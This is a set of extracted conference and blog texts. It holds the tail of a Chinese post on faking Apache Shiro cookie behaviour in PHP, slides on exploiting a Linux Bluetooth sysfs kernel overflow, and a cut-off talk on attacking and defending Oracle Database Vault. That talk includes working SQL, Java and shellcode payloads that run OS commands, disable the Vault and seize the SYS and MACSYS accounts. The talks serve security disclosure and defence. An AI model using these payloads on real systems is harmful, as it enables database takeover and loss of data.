所以思路就很明确了:
1. php网站收到请求中的rememberme字段值
2. 后台存在一个我们假定的key,并使用aes-cbc解密,如果密钥匹配正确,那
么解密出来的hex字符串的32-40位的字符串应该是aced0005。
3. 如果解密出来的数据是aced0005,那么我们就不设置deleteme的头部字段。
4. 其他情况下如果存在rememberme的请求cookie,就设置。
解密脚本如下
上面的pkcs7unpadding用不用结果都会有特征,去掉也行。
最终效果如下
2021/10/28
让你的php⽹站拥有shiro - depy
https://blog.happysec.cn/index/view/366.jsp
5/6
成果
2021/10/28
让你的php⽹站拥有shiro - depy
https://blog.happysec.cn/index/view/366.jsp
6/6
由于本人技术水平有限,一下午只能研究这么多了。后续伪造利用链,伪造回显
可以继续深入研究,该继续挖漏洞了。
光是aes解密那个部分就想了很久,一开始用的是nginx来直接配置shiro相关特
征,发现我并不太行,我太菜了。
如果还有其他的伪造,其实可以用伪静态设置后缀为jsp,亦或者修改phpsessio
n,改成jsessionid。
如有错误,请指正轻喷。
^^ | pdf |
From “No Way” to 0-day:
Weaponizing the
Unweaponizable
Joshua Wise
1
“...you’re de0uing it wrong...”
Outline
• Intro
• Vulnerabilities: in general
-
What makes something easy to exploit?
• Vulnerabilities: a case study
-
Making something hard into something doable
• Briefly -- what went wrong?
-
How did this sort of thing happen?
• Q & A
2
Intro: Me
• Just some guy, you know?
• All-purpose embedded hacker
- Got roped into Android at some point
• Recovering software guy
- Now doing ASIC design
• Buzzword compliant
- Working on IMB in ECE at CMU
3
unrevoked
Intro: You
• At least a little bit of kernel
experience?
• Interested in security?
• Not a skript kiddie
- No code for you to compile
here
- Enough description for a skilled
programmer to repro this
4
image: me, 12 years old
Today’s vulnerability
• While looking for ways to root Android phones, came
across...
-
CVE-2010-1084
• “CVE request: kernel: bluetooth: potential bad memory
access with sysfs files”
-
“...allows attackers to cause a denial of service (memory
corruption)”
• First showed up in 2.6.18, fixed in 2.6.33
-
...ouch!
-
Raise your hand if you haven’t patched up to 2.6.33 yet
5
Mechanism of crash
• Classic vulnerability
-
for each Bluetooth socket, sprintf() onto the end of
a string in a buffer
-
no check for end of buffer
• With a twist
-
gets the buffer from the frame allocator; scribbles into
next frame (uncontrolled target)
-
contents not controlled
-
length only kind of controlled
6
Yesterday’s vulnerability
• Refresher: easy vulnerability
• Simple stack smash:
void cs101_greeter() { // prof said it has 2 be setuid root 4 term axx
char buf[1024];
printf(“What is your name?\n”);
gets(buf); // my prof said not to use gets(3)
printf(“Hello, %s!\n”, buf);// so i used gets(buf), thats ok rite?
}
• Easily exploitable properties
-
Controlled target
-
Controlled length
-
Controlled contents (with a few limitations)
7
Watch that stack!
• What happens next?
- “User” inputs something bad.
• Where does it go?
8
Watch that stack!
• What happens next?
-
“User” inputs something bad.
• Where does it go?
9
main()’s stack frame
0xC0000000
...
return addr for greeter()
other BS for greeter()
0xBFFF8008
buf
0xBFFF8004
0xBFFF8000
0xBFFF7C00
gets()’s stack frame
!
These addresses are for
no machine in particular!
Watch that stack!
• What happens next?
-
“User” inputs something bad.
• Where does it go?
10
main()’s stack frame
0xC0000000
...
return addr for greeter()
other BS for greeter()
0xBFFF8008
buf
0xBFFF8004
0xBFFF8000
0xBFFF7C00
gets()’s stack frame
!
These addresses are for
no machine in particular!
$ /afs/cs/course/15123-sfnoob/usr\
/aashat/bin/greeter
What is your name?
AAAAAAAAAAAAA...∆∫∆∂œåµƒ...
Hello, AAAAAAAAA...
[+] pwned
#
Watch that stack!
• What happens next?
-
“User” inputs something bad.
• Where does it go?
11
main()’s stack frame
...
return addr for greeter()
other BS for greeter()
buf
gets()’s stack frame
$ /afs/cs/course/15123-sfnoob/usr\
/aashat/bin/greeter
What is your name?
AAAAAAAAAAAAA...∆∫∆∂œåµƒ...
Hello, AAAAAAAAA...
[+] pwned
#
now contains code!
now contains address
of code in buf!
Why did that work so
well?
• Remember the three controls:
- Attacker-controlled target
•
Always blast the ret addr - same memory each time
- Attacker-controlled length
•
We never blast off the end of the stack into
segfaultland
- Attacker-controlled contents
•
Write anything we want but 0x00 and ’\n’
12
From yesterday comes
tomorrow
• Today’s exploit, at its core:
-
(for those of you following along at home, in l2cap_sysfs_show)
-
str = get_zeroed_page(GFP_KERNEL);
...
for each l2cap_sk_list as sk:
str += sprintf(str, "%s %s %d %d 0x%4.4x 0x%4.4x %d %d %d\n"
batostr(&bt_sk(sk)->src),...);
• What year is it? I seem to have forgotten
13
sprintf() out of control
• Issue is obvious, and crash is inevitable --
but what of our three controls?
• Controlled target
-
How is buf allocated?
•
sysfs buffer comes from frame allocator
-
What comes after?
•
Some other poor noob’s frame!
14
(aside: frames and pages)
• Frames are physical memory backings of pages.
-
Don’t confuse with ‘stack frames’!
• Pages are chunks of virtual memory.
15
Process A pages
0xBFFFF000
Stack
.text
.data
!
0x8C028000
0x8C020000
...
...
Process B pages
0xBFFFF000
Stack
.text
.data
0x8C028000
0x8C020000
...
...
Physical memory frames
•
Linux kernel has both mapped into A.S.!
•
Needed for frame allocations (__GFP_KERNEL) -- more later
A Stack
A .data
Kernel code
Shared .text
B Stack
sprintf() out of control
• Issue is obvious, and crash is inevitable --
but what of our three controls?
• Controlled length
-
Writes take place through a sprintf() to a
strange place
-
We can’t stop it before it smashes something
else
16
sprintf() out of control
• Issue is obvious, and crash is inevitable --
but what of our three controls?
• Controlled contents
-
No data comes directly from us
-
All data comes formatted
17
sprintf() out of control
• Issue is obvious, and crash is inevitable --
but what of our three controls?
• Zero for three!
• Now would be a good time to start
controlling our environment.
18
Target practice
• How can we control the target?
• Let’s use an old-fashioned heap spray.
- ...but what?
- First idea: kstack!
•
It worked so well in CS101, right?
19
“With Emarhavil, your target is our target.”
Jenga
• Let’s assume:
- kernel stack is the frame after the sysfs page
- we know which pid the kstack belongs to
• Given that, what happens?
- What does a kstack even look like?
20
Jenga
• Like other
stacks, a kstack
has stack
frames
• Unlike other
stacks, a kstack
has a TCB
attached to it!
21
str
0x782F2000
0x782F3000
thread control block
the abyss
some poor dude’s stack
~0x782F3100
~0x782F3DE8
return address
more stack frames, reg saves...
0x782F4000
~0x782F3E80
~0x782F3E84
!
...
Jenga
• What happens
when we
write?
22
str
0x782F2000
0x782F3000
thread control block
the abyss
some poor dude’s stack
~0x782F3100
~0x782F3DE8
return address
more stack frames, reg saves...
0x782F4000
~0x782F3E80
~0x782F3E84
...
sprintf(str, “ownedownedownedowned”
“ownedownedownedowned”
...);
!
Jenga
• What happens
when we
write?
23
str
0x782F2000
0x782F3000
thread control block
the abyss
some poor dude’s stack
~0x782F3100
~0x782F3DE8
return address
more stack frames, reg saves...
0x782F4000
~0x782F3E80
~0x782F3E84
...
sprintf(str, “ownedownedownedowned”
“ownedownedownedowned”
...);
ownedownedownedownedownedowned
ownedownedownedownedowned
Jenga
• What happens
when we write?
- TCB is clobbered!
- Could be OK; this
time not.
24
str
0x782F2000
0x782F3000
thread control block
the abyss
some poor dude’s stack
~0x782F3100
~0x782F3DE8
return address
more stack frames, reg saves...
0x782F4000
~0x782F3E80
~0x782F3E84
...
sprintf(buf, “ownedownedownedowned”
“ownedownedownedowned”
...);
ownedownedownedownedownedowned
ownedownedownedownedowned
Getting physical
• What else goes in physical frames?
• Linux kernel has interesting mechanism
called SLAB allocator
- Creates uniform “caches” of specific objects
•
conveniently, frame-sized!
- Localizes similar objects in memory
- Avoids expensive variable-size allocation
- Originally designed by the Sun guys
25
free
slot
SLABs of memory
• What’s in a SLAB?
• Where’s the list of SLABs available?
- SLAB metadata stored in... a SLAB!
26
in-use
object
free
slot
free
slot
in-use
object
free
slot
in-use
object
free
slot
frame boundary
frame boundary
frame boundary
pointer to
next free slot
pointer to
first free slot
NULL
NULL
free
slot
SLABs of memory
• What’s in a SLAB?
• No per-SLAB header
- Convenient...
27
in-use
object
free
slot
free
slot
in-use
object
free
slot
in-use
object
free
slot
frame boundary
frame boundary
frame boundary
NULL
NULL
free
slot
SLABs of memory
• What’s in a SLAB?
• No per-SLAB header
- Convenient...
28
in-use
object
free
slot
free
slot
in-use
object
free
slot
in-use
object
free
slot
frame boundary
frame boundary
frame boundary
NULL
NULL
str
(hum de dum)
Who eats SLABs?
• Pretty much every kernel subsystem
-
joshua@escape:~/linux$ find . | \
xargs grep kmem_cache_alloc | \
wc -l
305
-
joshua@nyus:/proc$ cat slabinfo | wc -l
183
• Something in there has to be an easy target
• How about... file descriptors?
- Stored in struct file, in SLABs
29
Filed away for reference
• What does a struct file look like?
-
struct file {
union {...} f_u; /* morally, two pointers */
struct path f_path; /* morally, two pointers */
struct file_operations *f_op;
unsigned int f_count, f_flags, f_mode;
...
}
struct file_operations {
struct module *owner;
loff_t (*llseek)(...);
ssize_t (*read)(...);
ssize_t (*write)(...);
ssize_t (*aio_read)(...);
30
Filed away for reference
31
• What does a struct file look like?
-
(best case!)
f_u
frame boundary
remember, this is
at the start of a
SLAB!
f_u
f_path
f_path
f_op
f_count
f_flags
each block is
one pointer size
f_mode
...
Filed away for reference
32
• What does a struct file look like?
-
(really really best case!)
f_u
frame boundary
remember, this is
at the start of a
SLAB!
f_u
f_path
f_path
f_op
f_count
f_flags
f_mode
str
(hum de dum)
get_zeroed_page
comes from same
pool as SLABs
(more later)
...
Filed away for reference
33
•
What does a struct file look like?
-
Parts that the kernel can survive for a little while without darkened
f_u
frame boundary
remember, this is
at the start of a
SLAB!
f_u
f_path
f_path
f_op
f_count
f_flags
...
f_mode
str
(hum de dum)
get_zeroed_page
comes from same
pool as SLABs
(more later)
Great news!
34
Great news!
35
• In essence -- struct file can be paved
over at will
- ... just as long as we get a reasonable value into
f_op.
f_u
f_u
f_path
f_path
f_op
f_count
f_flags
...
f_mode
str
(hum de dum)
One for three
• Remember the three controls:
- Attacker-controlled length
- Attacker-controlled contents
- Attacker-controlled target
• Length is no longer an issue
- We can go over by a little ways without causing
an immediate crash
36
Back to the content
• It is difficult to write arbitrary content...
- ...but easy to predict content.
-
str += sprintf(str, "%s %s %d %d 0x%4.4x 0x%4.4x %d %d %d\n"
batostr(&bt_sk(sk)->src),...);
• Usually looks like:
-
"00:00:00:00:00:00 00:00:00:00:00:00 2 0 0x0000
0x0000 672 0 1” repeated a bunch
•
well, as many times as we want...
•What does this mean for us?
37
Back to the content
• Data that looks like this must end up in the
file structure.
-
"00:00:00:00:00:00 00:00:00:00:00:00 2 0 0x0000
0x0000 672 0 1”
- Substring must end up in f_op!
• What, exactly, can go in f_op?
- more importantly, can this go in f_op?
38
Addressability
•
f_op is just a pointer into kernel’s A.S.!
-
Remember: kernel’s A.S. is superset of user’s A.S.
-
f_op can be pointer to user memory
• Game plan
-
Map all substrings
-
ASCII representations should be valid pointers to f_op target.
•
“00:0” -> 0x30303A30
•
“0:00” -> 0x303A3030
•
“0 0:” -> 0x3020303A
•
...
39
Now what?
• We’re done, right?
40
f_u
f_u
f_path
f_path
f_op
f_count
f_flags
...
f_mode
str
(hum de dum)
00:00:00:00:00:00 00:00:00:00:00:00 2 0 0x0000 0x0000 672 0 1
owner = NULL
llseek = &attacker_ring0
read = &attacker_ring0
...
mapped in
userspace!
(mmap(), etc)
some other data
Now what?
• Not so fast.
- Real life, more likely:
41
f_u f_u
f_path
f_path f_op
f_count
f_flags
f_mode
str
(hum de dum)
00:00:00:00:00:00 00:00:00:00:00:00 2 0 0x0000 0x0000 672 0 1
owner = NULL
llseek = &attacker_ring0
read = &attacker_ring0
...
Two for three
• Remember the three controls:
- Attacker-controlled length
- Attacker-controlled contents
- Attacker-controlled target
• Contents not controlled... but predicted.
- We now have length and contents handled.
42
Let’s be buddies
• How do we control the relative placement of frames?
-
(i.e., the target)
• Physical frames allocated on Linux using “buddy
allocator”
-
Really old best-fit allocator -- Markowitz, 1963
-
Works really well with fragmentation-reducing strategies
like SLAB
- linux/mm/page_alloc.c
•
Run in god-damn fear.
43
Let’s be buddies
• Buddy allocator has important features
- Injects determinism and predictability into
otherwise unordered frame allocation
- Localizes size-one frames when able
• Implementation details beyond scope of
this talk
- You gotta pick one, and I think SLAB is cooler
44
Localizer approach
• Plan:
-
Fill up memory
•
Cause frames that would result in discontinuities to be paged to disk
-
Free memory to generate contiguous chunks
-
Allocate chunks of memory for struct files
-
Allocate buffer page
•
Opening sysfs file does this. This is critical!
-
Allocate more chunks of memory for struct files
-
Fire!
45
Localizer approach
46
free
free
free
in use
free
in use
free
free
free
free
in use
free
free
free
free
free
free
in use
free
free
free
in use
free
free
free
free
in use
free
free
in use
free
free
Initial configuration
Localizer approach
47
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
Allocate all memory for us
Localizer approach
48
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
Free and allocate to get contiguous phys chunks
Localizer approach
49
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
free
free
free
free
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
Release contiguous phys frames
Localizer approach
50
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
files
files
str
files
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
Set up files, buffer, files
Localizer approach
51
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
files
files
str
files
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
ours
Pwn
Three for three!
• Remember the three controls:
- Attacker-controlled length
- Attacker-controlled contents
- Attacker-controlled target
• Target became controlled by deterministic
memory permutation.
• Result: system owned.
52
So close, guys
53
/*
* The code works fine with PAGE_SIZE return but it's likely to
* indicate truncated result or overflow in normal use cases.
*/
if (count >= (ssize_t)PAGE_SIZE) {
print_symbol("fill_read_buffer: %s returned bad count\n",
(unsigned long)ops->show);
/* Try to struggle along */
count = PAGE_SIZE - 1;
}
Demo
54
Conclusions
•
Difficult-to-exploit bugs can be made easier by thinking
about controlling your environment
-
Attacker-controlled length
-
Attacker-controlled contents
-
Attacker-controlled target
•
Just because it’s not easy, that doesn’t mean that it’s impossible!
55
Conclusions
•
Difficult-to-exploit bugs can be made easier by thinking
about controlling your environment
-
Attacker-controlled length
-
Attacker-controlled contents
-
Attacker-controlled target
•
Just because it’s not easy, that doesn’t mean that it’s impossible!
•
Side conclusion:
-
Phone vendors: we will win. We have physical access; root on
these phones will be ours. Please stop your crusade to keep me
from using my own phone.
55
Questions?
56 | pdf |
Hacking and protecting
Oracle Database Vault
Esteban Martínez Fayó
Argeniss (www.argeniss.com)
July 2010
Agenda
• Introduction to Oracle Database Vault
What is Oracle Database Vault, What changes introduce, Oracle
Database Vault elements.
• Attacks against Database Vault
Getting OS access
Impersonating MACSYS user
Special considerations for the SYS user
o SQL Injection in SYS schema
• Oracle Database Auditing and SYS user
• Additional protection measures
• Conclusions
What is Oracle Database Vault?
•
It’s an add-on to Oracle Database.
•
Supported Oracle Database Releases: 9i R2, 10g R2, 11g R1 and 11g
R2.
•
“Oracle Database Vault can prevent highly privileged users, including
powerful application DBAs and others, from accessing sensitive
applications and data in Oracle databases outside their authorized
responsibilities”
The DBA no longer has unlimited access to database data.
Helps protect against the insider threat and address regulatory
compliance needs such as Sarbanes-Oxley (SOX) and PCI .
•
The main goal of Oracle Database Vault is to provide Separation of
Duty
What changes with Database Vault?
•
Some initialization parameteres are changed to more secure values.
•
RECYCLE BIN feature is disabled
•
Revokes some privileges from default roles
DBA, IMP_FULL_DATABASE, EXECUTE_CATALOG_ROLE, SCHEDULER_ADMIN and
PUBLIC.
•
Database audit is configured to include more actions, but auditing is
not enabled.
Must issue ALTER SYSTEM SET AUDIT_TRAIL
• SYS.AUD$ Table Moved to SYSTEM Schema.
What changes with Database Vault?
• SYS, SYSTEM and other schemas are protected as well as
sensitive commands like ALTER USER.
• Installing patches require to disable DBVault.
•
DBVault can be disabled with OS access.
On Windows: Under %ORACLE_HOME%\bin, delete or rename
oradv[release_number].dll (example: oradv10.dll, oradv11.dll) file.
On Linux:
make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk dv_off
$ORACLE_HOME/bin/relink oracle
What changes with Database Vault?
•
In older releases:
OS authentication to the database is disabled.
Login “AS SYSDBA” blocked by default
o SYS user can only log on “AS SYSOPER”
o Some applications are incompatible with this: RMAN, Oracle RAC and some Oracle
command line utilities.
o Can be enabled with nosysdba=y parameter in orapwd program:
$ORACLE_HOME/bin/orapwd file=$ORACLE_HOME/dbs/orapworcl force=y nosysdba=n
password=anypass
Database Vault Elements
• Realms
Functional grouping of database schemas and roles that must be secured.
For example, related to accounting or sales.
You can use the realm to control the use of system privileges to specific
accounts or roles.
• Factors
A factor is a named variable or attribute, such as a user location, database
IP address, or session user.
Can be used for activities such as authorizing database accounts to
connect to the database or creating filtering logic to restrict the visibility
and manageability of data.
Database Vault Elements
• Command rules
Allows to control how users can execute many of the SQL statements.
Work with rule sets to determine whether or not the statement is allowed.
• Rule sets
Collection of rules that you can associate with a realm authorization,
command rule, factor assignment, or secure application role.
The rule set evaluates to true or false based on the evaluation of each
rule.
• Secure application roles
Special Oracle role that can be enabled based on the evaluation of a rule
set.
Database Vault Elements
• Database Vault Schemas (Locked accounts by default):
DVSYS: Contains Oracle Database Vault objects (tables, views, PL/SQL
packages, etc).
It's secured by the 'Oracle Database Vault' realm. It guards the schema
against improper use of system privileges like SELECT ANY TABLE,
CREATE ANY VIEW, or DROP ANY ….
DVF: Owner of DBMS_MACSEC_FUNCTION. Contains the functions that
retrieve factor identities.
• Roles provided by Oracle Database Vault:
DV_OWNER, DV_REALM_OWNER, and DV_REALM_RESOURCE
DV_ADMIN, DV_ACCTMGR, and DV_PUBLIC
DV_SECANALYST
Database Vault Elements
• Typical Database Vault users:
MACACCT
o Account for administration of database accounts and profiles.
o Roles granted: DV_ACCTMGR
MACADMIN
o Account to serve as the access control administrator.
o Roles granted: DV_ADMIN
MACREPORT
o Account for running Oracle Database Vault reports.
o Roles granted: DV_SECANALYST
MACSYS
o Account that is the realm owner for the DVSYS realm.
o Roles granted: DV_OWNER
• Database Vault Documentation contains a guideline to secure it
Documents security considerations with:
o PL/SQL Packages: UTL_FILE, DBMS_FILE_TRANSFER, LogMiner Packages
o Privileges: CREATE ANY JOB, CREATE JOB, CREATE EXTERNAL JOB, ALTER
SYSTEM and ALTER SESSION
o The Recycle Bin
o Java Stored Procedures and External C Callouts (< 11.2)
o Trusted accounts: Oracle software owner OS account and SYSDBA users.
Bypassing DB Vault
• Attacks against Database Vault:
With OS access (from the database it may be possible to get OS access)
Creating and executing a procedure in MACSYS schema
SYS user can bypass DB Vault
Impersonating SYS using SQL Injection
Exploiting other vulnerabilities specific to DB Vault.
Bypassing DB Vault
OS access
• OS access (as the Oracle software owner or root/Administrator)
allows an attacker to:
Disable Database Vault
Overwrite SYS password (and enable SYSDBA connections if necessary).
• Ways an attacker can get OS access:
External procedure call
Exploiting a buffer overflow vulnerability
o Demo: SYS.KUPF$FILE_INT.GET_FULL_FILENAME.
Exploiting a SQL injection vulnerability and using one of the above
methods
Java Stored Procedure
External Job; Creating a DIRECTORY object.
OS access using ExtProc call - Attack
• Requires CREATE LIBRARY and CREATE PROCEDURE privileges.
Default roles granted these privileges: DBA and IMP_FULL_DATABASE
Default users: SYSTEM, SYSMAN, DMSYS, MDSYS, ORDPLUGINS, ORDSYS
• Create a library associated with an OS shared library containing
a system() or exec() function.
Since Oracle 9.2 must be in $ORACLE_HOME/lib (Linux) or
%ORACLE_HOME%\bin (Windows).
o Configured using EXTPROC_DLLS environment variable in listener.ora
Linux:
CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}/lib/libOsUtils.so'
Windows (10gR2):
CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}\bin\msvcr71.dll'
Windows (11gR1 and 11gR2):
CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}\bin\msvcrt.dll'
OS access using ExtProc call - Attack
• Create a procedure that calls to the system() or exec()
functions:
CREATE OR REPLACE PROCEDURE OS_EXEC2 (OS_CMD IN VARCHAR2) IS
EXTERNAL NAME "system" LANGUAGE C LIBRARY OS_EXEC PARAMETERS (OS_CMD STRING);
• To disable Database Vault:
Linux:
BEGIN
OS_EXEC2 ('make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk dv_off');
OS_EXEC2 ('$ORACLE_HOME/bin/relink oracle');
END;
Windows:
-- 10gR2:
EXEC OS_EXEC2 ('ren %ORACLE_HOME%\bin\oradv10.dll oradv10_.dll');
-- 11gR1 and 11gR2:
EXEC OS_EXEC2 ('ren %ORACLE_HOME%\bin\oradv11.dll oradv11_.dll');
OS access using ExtProc call - Defense
• Avoid granting CREATE LIBRARY and CREATE PROCEDURE
privileges to users.
Enable auditing any use of these privileges
• Use EXTPROC_DLLS environment variable in listener.ora to
restrict the libraries that can be loaded.
OS access using Java - Attack
• Two approaches
Using Oracle Java vulnerabilities discovered by David Litchfield (fixed in
April 2010 CPU)
Using functionality available to privileged users.
• Steps to get OS access using Oracle Java:
Grant Java privileges
o With DBMS_JAVA.GRANT_PERMISSION (requires JAVA_ADMIN role)
o With DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS (granted to PUBLIC by
default except when April 2010 CPU applied)
Create Java Source and Java Stored procedure (requires CREATE
PROCEDURE privilege)
o This step can be avoided using DBMS_JAVA.RUNJAVA and
oracle.aurora.util.Wrapper class (not available if April 2010 CPU is applied).
OS access using Java (java_admin) - Attack
• Grant Java privileges (requires JAVA_ADMIN privs):
EXEC dbms_java.grant_permission( 'ONEDBA', 'SYS:java.io.FilePermission',
'<<ALL FILES>>', 'execute' );
EXEC dbms_java.grant_permission( 'ONEDBA',
'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '' );
EXEC dbms_java.grant_permission( 'ONEDBA',
'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' );
OS access using Java (java_admin) - Attack
• Create Java Source (requires CREATE PROCEDURE priv):
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*; import java.io.*;
public class ExecuteOS
{
public static void execOSCmd (String cmd) throws IOException,
java.lang.InterruptedException
{
String[] strCmd = {"cmd.exe", "/c", cmd};
Process p = Runtime.getRuntime().exec(strCmd);
p.waitFor();
}
};
/
OS access using Java (java_admin) - Attack
• Create Java Stored procedure (requires CREATE PROCEDURE):
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
AS LANGUAGE JAVA
NAME 'ExecuteOS.execOSCmd (java.lang.String)';
/
•
Execute OS commands:
EXEC PROC_EXECUTEOS
('C:\app\Administrator\product\11.2.0\dbhome_1\BIN\orapwd.exe
file=C:\app\Administrator\product\11.2.0\dbhome_1\database\PWDorcl.ora
force=y password=anypass nosysdba=n');
EXEC PROC_EXECUTEOS ('ren
C:\app\Administrator\product\11.2.0\dbhome_1\BIN\oradv11.dll
oradv11_.dll');
OS access using Java (java_admin) - Defense
•
Restrict JAVA_ADMIN role.
•
Remove Java support from Oracle database (if not needed).
OS access using Java (no privs) - Attack
• Grant Java privileges (no privs required):
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT','ONEUSER','SYS',
'java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
• Call oracle/aurora/util/Wrapper to execute OS commands:
SELECT DBMS_JAVA_TEST.FUNCALL
('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c',
'ren',' C:\\oracle\\product\\10.2.0\\db_1\BIN\\oradv10.dll','oradv10_.dll')
FROM DUAL;
OS access using Java (no privs) - Defense
• Apply April 2010 CPU.
• Oracle 11gR2 on Windows is not vulnerable.
• Revoke privileges from users to execute DBMS_JVM_EXP_PERMS
OS access using Buffer overflow - Attack
• Requires EXECUTE privileges on a vulnerable procedure
• DEMO: DIRPATH parameter of
SYS.KUPF$FILE_INT.GET_FULL_FILENAME function is
vulnerable to buffer overflow attacks
Patched in April 2008 Critical Patch Update
OS access using Buffer overflow - Attack
DECLARE
OS_COMMAND VARCHAR2(504);
RET_VALUE_X123 VARCHAR2(32767);
P_DIRPATH VARCHAR2(32767);
BEGIN
-- Disable DB Vault:
OS_COMMAND:='ren ..\bin\oradv10.dll oradv10_.dll';
-- Enable SYSDBA access and overwrite SYS password:
-- OS_COMMAND:='..\bin\orapwd.exe file=..\dbs\orapworcl force=y nosysdba=n password=anypass';
P_DIRPATH := ''
||chr(54)||chr(141)||chr(67)||chr(19) /* 36:8D43 13 LEA EAX,DWORD PTR SS:[EBX+13] */
||chr(80) /* 50 PUSH EAX */
||chr(184)||chr(131)||chr(160)||chr(187)||chr(119)/* B8 83A0BB77 MOV EAX,msvcrt.system */
||chr(255) || chr(208) /* FFD0 CALL EAX */
||chr(184)||chr(31)||chr(179)||chr(188)||chr(119) /* B8 1FB3BC77 MOV EAX,msvcrt._endthread */
||chr(255) || chr(208) /* FFD0 CALL EAX */
||RPAD(OS_COMMAND || chr(38), 505)
||CHR(96) || CHR(221) || CHR (171) || CHR(118); /* EIP 0x76abdd60 - CALL EBX */
RET_VALUE_X123 := SYS.KUPF$FILE_INT.GET_FULL_FILENAME(DIRPATH => P_DIRPATH, NAME => 'B', EXTENSION
=> '', VERSION => '');
END;
/
OS access using Buffer overflow - Defense
• Stay up-to-date with patches
• Restrict EXECUTE permissions on Packages, reduce attack
surface.
• Strictly audit operations at the OS level.
Impersonating MACSYS - Attack
• Requires CREATE ANY PROCEDURE and EXECUTE ANY
PROCEDURE privileges.
Default roles granted these privileges: DBA, IMP_FULL_DATABASE and
DV_REALM_OWNER
Default users: SYSTEM and SYSMAN
• Create a procedure in Database Owner schema (MACSYS) that
execute as the owner (default behavior)
• The procedure takes a string parameter that is the statement to
be executed.
Impersonating MACSYS - Attack
• Example:
CREATE OR REPLACE PROCEDURE MACSYS.EXECASMACSYS (STMT VARCHAR2) AS
BEGIN EXECUTE IMMEDIATE STMT; END;
• Execute the created stored procedure to run statements as the
MACSYS user
EXEC MACSYS.EXECASMACSYS ('ALTER USER MACSYS IDENTIFIED BY ANYPSW');
Impersonating MACSYS - Defense
•
Restrict CREATE ANY PROCEDURE and EXECUTE ANY PROCEDURE
privileges
•
Consider to protect MACSYS schema with a Realm
BEGIN
DVSYS.DBMS_MACADM.CREATE_REALM('MACSYS Realm', '', 'NO', 1);
DVSYS.DBMS_MACADM.ADD_OBJECT_TO_REALM('MACSYS Realm', 'MACSYS', '%',
'%');
DVSYS.DBMS_MACADM.UPDATE_REALM('MACSYS Realm', 'Realm to protect the
Database Vault Owner Schema', 'YES', 1);
END;
• SYS is owner of the 'Oracle Data Dictionary' Realm.
• SYS has no administrator privilege over Database Vault
(DV_OWNER role).
• Can change Database Vault owner password in these ways:
Using SYS.DBMS_SYS_SQL.PARSE_AS_USER():
declare l_num number; l_int integer;
begin
select user_id into l_num from all_users where username = 'MACSYS';
l_int := sys.dbms_sys_sql.open_cursor();
sys.dbms_sys_sql.parse_as_user(l_int,'alter user MACSYS identified by
"ANYPASS"',dbms_sql.native,l_num);
sys.dbms_sys_sql.close_cursor(l_int); end;
• It is important to protect the SYS account as if it was one of the
DB Vault owner accounts.
SYS user considerations
SYS user considerations for older releases
• Before 11.1.0.7: SYS Can use SYS.KUPP$PROC.CHANGE_USER
to impersonate any user, including the DB Vault owner.
• Some DV Releases (like 10.2.0.4) allows the SYS user to update
system tables:
Can change DV owner password updating system tables directly:
UPDATE sys.user$ SET password='C3B6F7BD55996DAA' WHERE
name='MACSYS'
Can update data dictionary tables directly and the protection will not work
(because there is no GRANT statement issued) :
INSERT INTO sys.sysauth$ VALUES ((SELECT user# FROM
user$ WHERE name = 'SYS'),(SELECT user# FROM user$
WHERE name = 'DV_OWNER'),999,NULL)
SQL Injection
• What about SQL Injection vulnerabilities in the SYS schema?
As we have seen SYS user can compromise DB Vault protections.
• To protect from these SQL Injection attacks:
Apply Critical Patch Updates.
Revoke EXECUTE privileges for SYS owned packages.
SQL Injection - Examples
• Using vulnerability in DBMS_JAVA.SET_OUTPUT_TO_JAVA:
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA
('ID','oracle/aurora/rdbms/DbmsJava','SYS',
'writeOutputToFile','TEXT', NULL, NULL, NULL,
NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''declare l_num number; l_int integer; begin
select user_id into l_num from all_users where username =
''''MACSYS''''; l_int := sys.dbms_sys_sql.open_cursor();
sys.dbms_sys_sql.parse_as_user(l_int,''''grant dv_owner to
oneuser'''',dbms_sql.native,l_num);
sys.dbms_sys_sql.close_cursor(l_int); end;''; END;', 'BEGIN NULL;
END;') FROM DUAL;
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',
SYSDATE());
SQL Injection - Examples
•
Example where a function call can be injected. Fixed CPU-OCT-08
CREATE OR REPLACE FUNCTION ONEUSER.SQLI return varchar2
authid current_user as pragma autonomous_transaction;
BEGIN
execute immediate 'begin sys.kupp$proc.change_user(''MACSYS'');
end;';
execute immediate 'alter user MACSYS identified by anypass';
commit;
RETURN '';
END;
/
DECLARE P_WORKSPACE VARCHAR2(32767);
BEGIN
